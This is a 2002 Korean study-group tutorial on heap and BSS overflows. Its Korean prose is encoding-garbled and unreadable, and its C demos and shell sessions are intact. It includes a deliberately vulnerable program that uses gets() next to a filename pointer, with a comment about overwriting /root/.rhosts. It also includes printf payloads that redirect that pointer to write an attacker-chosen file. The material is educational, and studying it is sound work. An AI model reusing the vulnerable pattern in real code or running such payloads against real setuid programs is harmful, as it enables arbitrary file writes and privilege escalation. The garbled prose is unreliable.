Heap OverFlow Á¤¸®-EAM2 /* Anesra 2002-06-09 */ ¼­µÎ: EAM2¿¡¼­ oprix´Ô²²¼­ Heap Overflow¸¦ °­ÁÂÇØ Á̴ּµ¥ ±×°ÍÀ» Á¤¸®ÇÏ´Â Àǹ̷νá ÀÌ·¸°Ô ±ÛÀ» ¾¹´Ï´Ù. Heap overflow¿¡ ´ëÇÑ ÀÌÇØ¸¦ µµ¿ÍÁֽŠoprix´Ô²² °¨»çÇÏ¸ç ¾ÆÁ÷ Heap overflowÀÇ °³³äÀ» Àß ¸øÀâÀ¸½Å ±×¸®°í °­Á¸¦ Àß ÀÌÇØ ¸øÇϽŠºÐµéÀ» À§ÇØ ÀÌ·¸°Ô ³ª¸¶ ±ÛÀ» ¾²¸ç À̰ÍÀ» º¸¸ç Á¶±ÝÀÌ¶óµµ µµ¿òÀÌ µÇ±æ ¹Ù¶ø´Ï´Ù . Ȥ½Ã ½Ç¼öÇϰųª Ʋ¸°ºÎºÐ ÀÖÀ¸¸é °ú°¨È÷ Áú¹®ÇϽðųª ´äÇØÁÖ½Ã¸é °¨»çÇϰڽÀ´Ï´Ù. À̱ÛÀÌ ¸Þ¸ðÀå¿¡¼­ ÀÛ¼ºµÇ¾ú´Âµ¥ °Ô½ÃÆÇ¿¡ »Ñ¸®´Ï ¸Þ¸ð¸® ±¸Á¶ºÎºÐ¿¡¼­ ¾à°£ ±×¸²ÀÌ ¾È¸Â½À´Ï´Ù. ÀÌ°Í Ctrl+A Àüüº¹»çÇϼż­ º¹»çÇÑµÚ Ctrl+CÇÑµÚ ¸Þ¸ðÀå¿¡ Ctrl+V·Î ºÙ¿©¼­ º¸½Ã¸é ´õ Àß º¼ ¼ö ÀÖÀ»²®´Ï´Ù. bash-2.05a$ more a.c /* demonstrates dynamic overflow in heap (initialized data) */ #include #include #include #include #define BUFSIZE 16 #define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */ int main() { char buf[255]; u_long diff; char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); diff = (u_long)buf2 - (u_long)buf1; printf("buf = %p buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf, buf1, buf2, di ff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0'; printf("before overflow: buf2 = %s\n", buf2); memset(buf1, 'B', (u_int)(diff + OVERSIZE)); printf("after overflow: buf2 = %s\n", buf2); return 0; } ÀÌ ¼Ò½º´Â buf2¸¦ ¿À¹öÇ÷οÀ ÇÏ´Â ¼Ò½ºÀÌ´Ù. ½ÇÇàÇØº¸¸é bash-2.05a$ ./a buf = 0xbffffb40 buf1 = 0x80497f8, buf2 = 0x8049810, diff = 0x18 bytes before overflow: buf2 = AAAAAAAAAAAAAAA after overflow: buf2 = BBBBBBBBAAAAAAA bash-2.05a$ ÀÌ·±°á°ú°¡ ³ª¿Â´Ù. ¸Þ¸ð¸® ±¸Á¶¸¦ µµ½ÄÈ­ÇØ º¸ÀÚ ¼Ò½º¿¡¼­ º¸µíÀÌ buf2¸¦ ÷¿¡ BUFSIZE-1¸¸Å­ A·Î ä¿îÈÄ¿¡ buf1¿¡ 'B'¶ó´Â ¹®ÀÚ¿­À» buf2¿Í buf1ÀÇ Â÷ÀÌ¿Í OVERSIZE(8byte)¸¸Å­ ´þ¾î¾´´Ù [ ] stack[ buf ] 0xbffffb40 [ ] [ ] heap [ buf2 ] 0x08049810 [ ] heap [ buf1 ] 0x080497f8 [ ] [buf 1 ][dummy][buf 2 ] [ ][2byte][AAAAAAAAAAAAAAAA] before [buf 1 ][dummy][buf 2 ] [BBBBBBBBBBBBBBBB][BB ][BBBBBBBBAAAAAAAA] after ÀÌ·±½ÄÀ¸·Î µµ½ÄÈ­¸¦ ÇØº¼¼ö ÀÖ´Ù. ¿©±â¼­ ¾Ë ¼ö Àִ°ÍÀº stack¿µ¿ª°ú heap¿µ¿ªÀº ¸Þ¸ð¸® ÁÖ¼Ò¹øÁö°¡ ´Ù¸£´Ù´Â °ÍÀÌ´Ù. À̰ÍÀ» È®ÀÎÇϱâ À§Çؼ­ ÀÌ ÇÁ·Î¼¼½ºÀÇ ¸Þ¸ð¸® ±¸Á¶¸¦ »ìÆìº¸ÀÚ ¼Ò½º¿¡ ¸¶Áö¸· return 0; ¾Õ¿¡ sleep(3000); À̰ÍÀ» Ãß°¡Çϰí ÄÄÆÄÀÏ ÇÏÀÚ ¸Þ¸ð¸® ±¸Á¶¸¦ ¾Ë¾Æº¸±â À§Çؼ­ ¹é±×¶ó¿îµå·Î ½ÇÇà½Ã۰í ÇÁ·Î¼¼½º ID¸¦ È®ÀÎÇÑ´Ù. bash-2.05a$ ./a & [3] 12488 bash-2.05a$ buf = 0xbffffb40 buf1 = 0x80497f8, buf2 = 0x8049810, diff = 0x18 byt es before overflow: buf2 = AAAAAAAAAAAAAAA after overflow: buf2 = BBBBBBBBAAAAAAA ÇÁ·Î¼¼½º ID¶û ¸Þ¸ð¸® ÁÖ¼Ò¸¦ Àß ´«¿©°Ü ºÁµÖ¶ó. ¸Þ¸ð¸® ±¸Á¶¸¦ È®ÀÎÇØº¸±â À§Çؼ­ bash-2.05a$ more /proc/12488/maps 08048000-08049000 r-xp 00000000 03:05 1147192 /tmp/heap/.ane/a 08049000-0804a000 rw-p 00000000 03:05 1147192 /tmp/heap/.ane/a 40000000-40013000 r-xp 00000000 03:05 409873 /lib/ld-2.2.5.so 40013000-40014000 rw-p 00013000 03:05 409873 /lib/ld-2.2.5.so 40014000-40015000 rw-p 00000000 00:00 0 42000000-4212c000 r-xp 00000000 03:05 359753 /lib/i686/libc-2.2.5.so 4212c000-42131000 rw-p 0012c000 03:05 359753 /lib/i686/libc-2.2.5.so 42131000-42135000 rw-p 00000000 00:00 0 bfffe000-c0000000 rwxp fffff000 00:00 0 ÀÌ·¸°Ô ÇÏ¸é µÈ´Ù. À̰ÍÀ» º¸¸é ½ºÅÃÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¿Í ÈüÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¾Ë¼öÀÖ´Ù. »ç¿ëÀÚ°¡ »ç¿ëÇÒ¼ö ÀÖ´Â ¸Þ¸ð¸® ÁÖ¼ÒÀÇ ¹üÀ§´Â 0x00000000~ 0xc0000000 ±îÁöÀ̰í 0xc0000000~ 0xffffffff ´Â Ä¿³ÎÀÌ »ç¿ëÇÏ´Â ÁÖ¼ÒÀÌ´Ù.(¼¼°íºñ¾Æ´Ô°­ÁÂ) Áï Àú ¸Þ¸ð¸® ±¸Á¶¿¡¼­ º¸¸é Á¦ÀÏ ¾Æ·¡ÁÙ¿¡ÀÖ´Â bfffe000-c0000000 rwxp fffff000 00:00 0 ÀÌ ¹üÀ§°¡ ½ºÅÃÀÇ ¹üÀ§ÀÌ´Ù. Áß°£¿¡ rwxp´Â ½ºÅÃÀÇ ÆÛ¹Ì¼Ç, Áï ÀÐ°í ¾²°í ½ÇÇàÇÒ¼ö ÀÖ´Ù´Â ÀǹÌÀÌ´Ù. ÀÚ ÀÌÁ¦ ´« ¿©°Ü ºÁ µÑ ºÎºÐÀº buf1°ú buf2ÀÇ ÁÖ¼ÒÀÌ´Ù. buf1(080497f8)°ú buf2(08049810)ÀÇ ÁּҵѴ٠Àú ¸Þ¸ð¸® ±¸Á¶ÀÇ µÎ¹øÂ° ÁÙ 08049000-0804a000 rw-p 00000000 03:05 1147192 /tmp/heap/.ane/a ¿©±â¿¡ ¼ÓÇÑ´Ù´Â °ÍÀ» ¾Ë¼ö ÀÖ´Ù. ¹Ù·Î À̺κÐÀÌ HEAP¿µ¿ªÀÇ ¸Þ¸ð¸® ÁÖ¼ÒÀÎ °ÍÀÌ´Ù!! ÀÚ ÀÌÁ¦ stack°ú heapÀÇ ¸Þ¸ð¸® ±¸Á¶¿Í ÁÖ¼Ò¸¦ ¾Ë¾Ò°í heap¿¡¼­µµ overflow°¡ ÀϾ¼ö ÀÖ´Ù´Â °ÍÀ» ¾Ë¾Ò´Ù. a.cÀÇ ³»¿ëÀº ÀÎÁ¢ÇÑ ¸Þ¸ð¸®ÀÇ ÁÖ¼Ò¸¦ µ¤¾î ¾µ¼ö ÀÖ´Ù´Â °ÍÀ» ¾Ë¼ö ÀÖ´Ù!!! bash-2.05a$ more b.c /* demonstrates static pointer overflow in bss (uninitialized data) */ #include #include #include #include #include #define BUFSIZE 16 #define ADDRLEN 4 /* # of bytes in an address */ int main() { u_long diff; static char buf[BUFSIZE], *bufptr; bufptr = buf, diff = (u_long)&bufptr - (u_long)buf; printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); memset(buf, 'A', (u_int)(diff + ADDRLEN)); printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); return 0; } b.c¸¦ ÄÄÆÄÀÏ ÇÏ°í ½ÇÇà½ÃÄѺ¸ÀÚ. a.c¿Í ¸¶Âù°¡Áö·Î return 0; ¹Ù·Î À§¿¡ sleep°ªÀ» ÁÖ°í °¢ º¯¼öµéÀÌ ¸Þ¸ð¸® ¾îµð¿¡ À§Ä¡ÇÏ´ÂÁö º¸ÀÚ. bash-2.05a$ ./b & [1] 12557 bash-2.05a$ bufptr (0x804971c) = 0x804970c, buf = 0x804970c, diff = 0x10 (16) by tes bufptr (0x804971c) = 0x41414141, buf = 0x804970c, diff = 0x10 (16) bytes À̰ÍÀ» º¸¸é ¾Ë¼ö ÀÖµíÀÌ bufÀÇ ÁÖ¼Ò¿¡ ÀÖ´Â °ªÀ» ¹Ù²Û°ÍÀÌ´Ù. À̰ͶÇÇÑ ½±°Ô ÀÌÇØÇϱâ À§Çؼ­ ¸Þ¸ð¸®¸¦ µµ½ÄÈ­ ÇØº¸ÀÚ. heap [0x804970c] 0x804871c - bufptr heap [ buf ] 0x804970c - buf buf bufptr [16byte ][0x804970c] before buf bufptr [AAAAAAAAAAAAAAAA][AAAA] after ÀÌ·¸°Ô ¿À¹ö¶óÀÌÆ® µÇ¾î¼­ bufptrÀÇ ÁÖ¼Ò°¡ 0x41414141 (ASCII AÀÇ °ªÀº 41)ÀÌ·¸°Ô ¹Ù²î¾úÀ½À» º¼¼ö ÀÖ´Ù. ¾ó¸¶³ª ³î¶ó¿î °á°úÀΰ¡! À̰ÍÀº ¿ì¸®°¡ ¸Þ¸ð¸®ÀÇ ´Ù¸¥ ¿µ¿ª¶ÇÇÑ °¡¸®Å³¼ö ÀÖ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù!! ÀÌÁ¦ ¿ì¸®´Â bufptrÀÇ ÁÖ¼Ò¸¦ Á¶ÀÛÇØ¼­ Àç¹ÌÀִ°Í?µéÀ» ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù! ÀÚ ÀçÈ®ÀÎÀ» À§Çؼ­ /prpc/ID/maps¸¦ »ìÆìº¸ÀÚ bash-2.05a$ more /proc/12557/maps 08048000-08049000 r-xp 00000000 03:05 1147250 /tmp/heap/.ane/b 08049000-0804a000 rw-p 00000000 03:05 1147250 /tmp/heap/.ane/b 40000000-40013000 r-xp 00000000 03:05 409873 /lib/ld-2.2.5.so 40013000-40014000 rw-p 00013000 03:05 409873 /lib/ld-2.2.5.so 40014000-40015000 rw-p 00000000 00:00 0 42000000-4212c000 r-xp 00000000 03:05 359753 /lib/i686/libc-2.2.5.so 4212c000-42131000 rw-p 0012c000 03:05 359753 /lib/i686/libc-2.2.5.so 42131000-42135000 rw-p 00000000 00:00 0 bfffe000-c0000000 rwxp fffff000 00:00 0 stackÀÇ À§Ä¡¿Í º¯¼ö°¡ µé¾î°£ heapÀÇ À§Ä¡¸¦ ¾Ë¼ö ÀÖ´Ù. ÀÚ ±×·³ ÀÌÁ¦ ½ÇÁ¦·Î Æ÷ÀÎÅÍÀÇ ³»¿ëÀ» ¹Ù²ã¼­ ¹«¾ùÀ» ÇÒ¼ö ÀÖÀ»±î. ±×°ÍÀ» ¾Ë¾Æº¸´Â ¿¹·Î c.c¸¦ º¸ÀÚ bash-2.05a$ more c.c #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 /* * Run this vulprog as root or change the "vulfile" to something else. * Otherwise, even if the exploit works, it won't have permission to * overwrite /root/.rhosts (the default "example"). */ int main(int argc, char **argv) { FILE *tmpfd; char buf[BUFSIZE], *tmpfile; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */ printf("before: tmpfile = %s\n", tmpfile); printf("argv[1] addr %p\n", argv[1]); printf("Enter one line of data to put in %s: ", tmpfile); gets(buf); printf("\nafter: tmpfile = %p\n", tmpfile); fflush( stdout); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "error opening %s: %s\n", tmpfile, strerror(errno)); exit(ERROR); } fputs(buf, tmpfd); fclose(tmpfd); } ÀÌ ¼Ò½º¸¦ Àß »ìÆìº¸¸é ÆÄÀÏÀ» °¡¸®Å°´Â Æ÷ÀÎÅÍ(*tmpfd)°¡ ÀÖ°í, ÆÄÀÏ¿¡ °ªÀ» ¾µ¼ö ÀÖ°Ô buf°¡ ÀÖ´Ù. ±×¸®°í ÆÄÀÏÀ» »ý¼ºÇÏ´Â Æ÷ÀÎÆ®(*tmpfile) ÀÌ ÀÖ´Ù. ¿ì¼± ½ÇÇàÇØº¸ÀÚ. bash-2.05a$ ./c Usage: ./c bash-2.05a$ ./c abcd before: tmpfile = /tmp/vulprog.tmp argv[1] addr 0xbffffdb3 Enter one line of data to put in /tmp/vulprog.tmp: Happy Heap OverFlow! after: tmpfile = 0x8048855 bash-2.05a$ º¸¸é ¾Ë´Ù½ÃÇÇ before´Â tmpfileÀÌ »ý¼ºµÇ´Â °æ·Î¸¦ º¸¿©ÁØ´Ù. ±×¸®°í ¿ì¸®°¡ argv[1]·Î ÀÔ·ÂÇÑ abcd°¡ µé¾î°¡´Â ¸Þ¸ð¸®ÀÇ ÁÖ¼Ò¸¦ º¸¿©ÁÖ°í »ý¼ºµÇ´Â ÆÄÀÏ¿¡ µé¾î°¡´Â µ¥ÀÌÅ͸¦ ÀÔ·Â¹Þ°í ±× »ý¼ºµÇ´Â ÆÄÀÏÀÇ ÁÖ¼Ò¸¦ º¸¿©ÁÖ´Â ÇÁ·Î±×·¥ÀÌ´Ù. bash-2.05a$ more /tmp/vulprog.tmp Happy Heap OverFlow! bash-2.05a$ ¿ì¸®°¡ ÀÔ·ÂÇÑ µ¥ÀÌÅͰ¡ µé¾î°¡´Â °ÍÀ» È®ÀÎÇØº¼¼ö ÀÖ´Ù. À̰ͶÇÇÑ ÀÌÇØ¸¦ ½±°Ô Çϱâ À§Çؼ­ ¸Þ¸ð¸®¸¦ µµ½ÄÈ­ ÇØº¸ÀÚ. [argv[1] ] = 0xbffffdb3 [*tmpfd ] [ buf ] = 16 byte [*tmpfile] = "/tmp/vulprog.tmp" = 0x8048855 ÀÚ ÀÌÁ¦ overflow¸¦ ½ÃÄѺ¸ÀÚ. bash-2.05a$ ./c abcd before: tmpfile = /tmp/vulprog.tmp argv[1] addr 0xbffffdb3 Enter one line of data to put in /tmp/vulprog.tmp: 12345678901234567890 after: tmpfile = 0x30393837 Segmentation fault bash-2.05a$ ¿ÀÄÉ! ¼¼±×¸ÕÆ®ÆúÆ®°¡ ÀϾ´Ù. tmpfileÀÇ ÁÖ¼Ò¿¡¼­ º¼¼öÀÖµíÀÌ ¿ì¸®°¡ ÀÔ·ÂÇÑ °ªÀÌ Æ÷ÀÎÅÍÀÇ ÁÖ¼Ò¸¦ ¹Ù²ãÄ¡±â ÇѰÍÀÌ´Ù!! ÀÚ º¯È­µÈ °ªÀ» À¯½ÉÈ÷ »ìÆìº¸ÀÚ 0x30393837Àº ¿ì¸®°¡ ÀÔ·ÂÇÑ 0 9 8 7 ÀÌ´Ù Áï buf¿¡ 16¹ÙÀÌÆ®¸¦ Áý¾î³Ö°í ±× µÚ¿¡ ÀÔ·ÂµÈ 4ÀÚ¸®ÀÇ ¼ýÀÚ°¡ µé¾î°£°ÍÀÌ´Ù! ÀÚ ÀÌÇØ¸¦ ´õ ½±°Ô Çϱâ À§Çؼ­ ¸Þ¸ð¸®¸¦ µµ½ÄÈ­ ÇØº»´Ù. [argv[1] ] [ *tmpfd ] [ buf ] [ tmpfile ] [16byte] [0x08048855] ¿ì¸®´Â ¿©±â¼­ buf¿¡ °ªÀ» ÀÔ·ÂÇØ¼­ tmpfile±îÁö ¹Ù²ã¹ö¸±¼ö ÀÖ¾ú´Ù. [argv[1] ] [ *tmpfd ] [123~ ] [0x30393837] ÀÚ À§¿¡ ÇÁ·Î±×·¥ ¼Ò½º´Â Æ÷ÀÎÅͰ¡ ¾î¶² ÆÄÀÏÀ» »ý¼ºÇϰí ÀÖ´Â°É ¾Ë¼öÀÖ°í ¿ì¸®°¡ ±× ÆÄÀÏÀ̸§À» Á¦¾îÇÒ¼ö ÀÖ´Ù´Â °Íµµ ¾Ë¼öÀÖ´Ù. ÀÌÁ¦ ¿ì¸®°¡ ¿øÇÏ´Â ÁÖ¼Ò¸¦ ³Ö¾îº¸ÀÚ bash-2.05a$ (printf "1234567890123456\xef\xbe\xad\xde")|./c abcd before: tmpfile = /tmp/vulprog.tmp argv[1] addr 0xbffffdb3 Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = 0xdeadbeef Segmentation fault À̰æ¿ì´Â 0xdeadbeef°¡ ½ÇÇàºÒ°¡´ÉÇÑ ¿µ¿ªÀ» °¡¸®Å°±â ¶§¹®¿¡ ¼¼±×¸ÕÆ® ÆúÆ®°¡ ÀϾ°ÍÀÌ´Ù. ½ºÅÃÀÇ ÁÖ¼Ò¸¦ º¸¸é ½±°Ô ÀÌÇØÇÒ¼ö ÀÖÀ»°ÍÀÌ´Ù. bash-2.05a$ (printf "1234567890123456\xfb\xf0\xff\xbf")|./c abcd before: tmpfile = /tmp/vulprog.tmp argv[1] addr 0xbffffdb3 Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = 0xbffff0fb error opening : No such file or directory bash-2.05a$ À̰æ¿ì´Â 0xbffff0fb¸¦ °¡¸®Å°°í Àִµ¥ ÀÌ °¡¸®Å°°í ÀÖ´Â °÷¿¡ ÆÄÀÏÀ̸§ÀÌ ¾ø±â ¶§¹®¿¡ Àú·± ¿¡·¯¸¦ ³ªÅ¸³»´Â °ÍÀÌ´Ù. ÀÌÁ¦ ¿ì¸®°¡ °¡¸®Å°´Â ÆÄÀÏÀ̸§À» ¹Ù²ãº¸ÀÚ tmpfileÀÌ °¡¸®Å°´Â ºÎºÐÀ» argv[1]ÀÇ ¸Þ¸ð¸® ¹øÁö·Î ¹Ù²ã¹ö¸®¸é ¿ì¸®°¡ ¸¸µé°íÀÚ ÇÏ´Â ÆÄÀÏÀÌ ÇöÀçµð·ºÅ丮¿¡ »ý¼ºµÈ´Ù. ¿ì¼± ´«À¸·Î Çѹø º¸ÀÚ bash-2.05a$ ./c abcd before: tmpfile = /tmp/vulprog.tmp argv[1] addr 0xbffffdb3 Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = 0x8048855 ÀÚ º¸¸é argv[1]ÀÇ ÁÖ¼Ò´Â 0xbfffdb3ÀÓÀ» ¾Ë¼ö ÀÖ´Ù. ÀÌÁ¦ À̰÷À» tmpfileÀÌ °¡¸®Å°°Ô ¸¸µé°í argv[1]¿¡´Â¿ì¸®°¡ ¸¸µé°íÀÚ ÇÏ´Â ÆÄÀÏÀ» ÀÔ·ÂÇØº¸ÀÚ bash-2.05a$ (printf "1234567890123456\xb3\xfd\xff\xbf")|./c Happy before: tmpfile = /tmp/vulprog.tmp argv[1] addr 0xbffffdb2 Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = 0xbffffdb3 Áß°£¿¡ ÁÖ¼Ò°¡ Çѹø ¹Ù²ï°ÍÀ» º¼¼öÀÖ´Ù.-_-;; bash-2.05a$ ls -al ÇÕ°è 108 -rw-r--r-- 1 level0 level 20 6¿ù 9 11:36 ????ðû?¿Ü???? drwxr-xr-x 2 level0 level 4096 6¿ù 9 12:45 . drwxr-xr-x 18 level0 level 4096 6¿ù 9 00:10 .. -rw-r--r-- 1 level0 level 16 6¿ù 8 23:43 U??SR? -rwxr-xr-x 1 level0 level 14137 6¿ù 8 23:14 a -rwxr--r-- 1 level0 level 674 6¿ù 8 23:14 a.c -rw-r--r-- 1 level0 level 20 6¿ù 9 12:45 appy -rwxr-xr-x 1 level0 level 13954 6¿ù 8 23:24 b -rwxr--r-- 1 level0 level 619 6¿ù 8 23:24 b.c -rwxr-xr-x 1 level0 level 15097 6¿ù 9 12:33 c -rwxr--r-- 1 level0 level 957 6¿ù 9 12:33 c.c -rwxr--r-- 1 root root 1142 6¿ù 8 22:59 d.c -rwxr-xr-x 1 level0 level 15161 6¿ù 8 23:58 e -rw-r--r-- 1 level0 level 1034 6¿ù 8 23:58 e.c -rw-r--r-- 1 level0 level 674 6¿ù 9 11:58 ~ ¿ª½Ã Áß°£¿¡ ÁÖ¼Ò°¡ ÇÑÄ­ ¹Ð·È±â ¶§¹®¿¡ H°¡ ¾È³ª¿ÔÀ½À» ¾Ë¼öÀÖ´Ù. ´Ù½Ã Çѹø ½ÃµµÇغ¸ÀÚ. bash-2.05a$ (printf "1234567890123456\xb2\xfd\xff\xbf")|./c Happy before: tmpfile = /tmp/vulprog.tmp argv[1] addr 0xbffffdb2 Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = 0xbffffdb2 bash-2.05a$ ls -al ÇÕ°è 112 -rw-r--r-- 1 level0 level 20 6¿ù 9 11:36 ????ðû?¿Ü???? drwxr-xr-x 2 level0 level 4096 6¿ù 9 12:47 . drwxr-xr-x 18 level0 level 4096 6¿ù 9 00:10 .. -rw-r--r-- 1 level0 level 20 6¿ù 9 12:47 Happy -rw-r--r-- 1 level0 level 16 6¿ù 8 23:43 U??SR? -rwxr-xr-x 1 level0 level 14137 6¿ù 8 23:14 a -rwxr--r-- 1 level0 level 674 6¿ù 8 23:14 a.c -rw-r--r-- 1 level0 level 20 6¿ù 9 12:45 appy -rwxr-xr-x 1 level0 level 13954 6¿ù 8 23:24 b -rwxr--r-- 1 level0 level 619 6¿ù 8 23:24 b.c -rwxr-xr-x 1 level0 level 15097 6¿ù 9 12:33 c -rwxr--r-- 1 level0 level 957 6¿ù 9 12:33 c.c -rwxr--r-- 1 root root 1142 6¿ù 8 22:59 d.c -rwxr-xr-x 1 level0 level 15161 6¿ù 8 23:58 e -rw-r--r-- 1 level0 level 1034 6¿ù 8 23:58 e.c -rw-r--r-- 1 level0 level 674 6¿ù 9 11:58 ~ ¿ÀÄÉ!! ÀÌÁ¦ ÀÏÄ¡ÇÑ´Ù. ±×¸®°í ¸®½ºÆ®¸¦ º¸¸é Happy¶õ ÆÄÀÏÀÌ »ý¼ºµÇ¾úÀ½À» º¼¼öÀÖ´Ù!! bash-2.05a$ more Happy 1234567890123456²ýÿ bash-2.05a$ HappyÀÇ ³»¿ëÀ» º¸¸é ¿ì¸®°¡ ÀÔ·ÂÇÑ bufÀÇ ³»¿ëÀÌ µé¾î°¡ ÀÖÀ½À» È®ÀÎÇØº¼¼öÀÖ´Ù. ¿©±â±îÁö °­ÀÇÇÑ ³»¿ëÀÔ´Ï´Ù. ÈĵÎ? : À̰ÍÀ» ÇÏ°Ô µÇ¸é¼­ Àú ½º½º·Î ´Ù½Ã Çѹø °³³äÀ» ÀâÀ» ¼ö ÀÖ°Ô µÇ¾ú°í ´Ù¸¥ »ç¶÷µéÀÌ À̰ÍÀ» º¸¸é¼­ µµ¿òÀÌ µÇ¾úÀ¸¸é ÁÁ°Ú´Ù°í »ý°¢ÇÕ´Ï´Ù. ¿ö³« ±Û ¼Ø¾¾°¡ ¾ø¾î¼­ ÀÌ·¸°Ô Ⱦ¼³¼ö¼³ Çϴ°ÍÀ» ÀÌÇØÇØÁֽðí(ÀÌ·²¶§¸é AmesianXÇüÀÇ ÀåȲÇÑ ±Û¼Ø¾¾°¡ ºÎ·´À½..) ´Ùµé ¿­½ÉÈ÷ ÇϽôϱñ Âü ÁÁ½À´Ï´Ù. ±×·³ ´Ùµé ³¡±îÁö ³²À¸¼Å¼­ ¿ÀÇÁ¶óÀο¡¼­ Çѹø º¼¼ö Àֱ⸦ ¹Ù¶ó°Ú½À´Ï´Ù:) P.S ±Ûü°¡ ¹Ý¸»·Î ÇÑ°É ¾çÇØÇØÁֽʽÿä. ±×°Ô ±Û¾²±â ÆíÇϱ⠶§¹®ÀÔ´Ï´Ù:)